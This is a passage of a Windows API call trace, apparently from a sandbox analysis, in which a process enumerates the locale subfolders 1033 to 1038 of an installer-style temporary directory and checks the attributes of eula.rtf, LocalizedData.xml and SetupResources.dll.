	[0070.935] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd723cc00, ftCreationTime.dwHighDateTime=0x1cabb47, ftLastAccessTime.dwLowDateTime=0xd723cc00, ftLastAccessTime.dwHighDateTime=0x1cabb47, ftLastWriteTime.dwLowDateTime=0xd723cc00, ftLastWriteTime.dwHighDateTime=0x1cabb47, nFileSizeHigh=0x0, nFileSizeLow=0xc74)) returned 1
	[0070.935] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0070.935] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0070.935] SetEvent (hEvent=0x188) returned 1
	[0070.935] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1035" (normalized: "c:\\588bce7c90097ed212\\1035"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0070.935] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035" (normalized: "c:\\588bce7c90097ed212\\1035"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0070.936] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39dce0
	[0070.936] VirtualAlloc (lpAddress=0xc00026a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00026a000
	[0070.936] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.936] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe76, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0070.936] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12cde, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0070.937] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0070.937] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0070.937] FindClose (in: hFindFile=0x1619f39dce0 | out: hFindFile=0x1619f39dce0) returned 1
	[0070.937] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0070.937] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12cde)) returned 1
	[0070.937] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0070.937] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758)) returned 1
	[0070.937] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0070.938] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe76)) returned 1
	[0070.938] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0070.938] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0070.938] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1036" (normalized: "c:\\588bce7c90097ed212\\1036"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0070.990] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036" (normalized: "c:\\588bce7c90097ed212\\1036"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0070.990] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39dce0
	[0070.990] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.990] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0070.990] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x14412, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0070.990] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0070.990] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0070.990] FindClose (in: hFindFile=0x1619f39dce0 | out: hFindFile=0x1619f39dce0) returned 1
	[0070.990] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0070.991] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x14412)) returned 1
	[0070.991] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0070.991] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958)) returned 1
	[0070.991] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0070.991] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdc6)) returned 1
	[0070.991] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0070.991] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0070.991] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1037" (normalized: "c:\\588bce7c90097ed212\\1037"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0070.992] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037" (normalized: "c:\\588bce7c90097ed212\\1037"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0070.992] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39dec0
	[0070.992] VirtualAlloc (lpAddress=0xc000190000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000190000
	[0070.993] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.993] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0070.993] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1198c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0070.993] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0070.993] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0070.993] FindClose (in: hFindFile=0x1619f39dec0 | out: hFindFile=0x1619f39dec0) returned 1
	[0070.993] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0070.993] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1198c)) returned 1
	[0071.067] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0071.067] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158)) returned 1
	[0071.084] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0071.085] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1ac3)) returned 1
	[0071.085] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0071.085] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0071.085] SetEvent (hEvent=0xe4) returned 1
	[0071.085] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1038" (normalized: "c:\\588bce7c90097ed212\\1038"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0071.085] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038" (normalized: "c:\\588bce7c90097ed212\\1038"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0071.085] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39dce0
	[0071.086] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0071.086] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x109e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
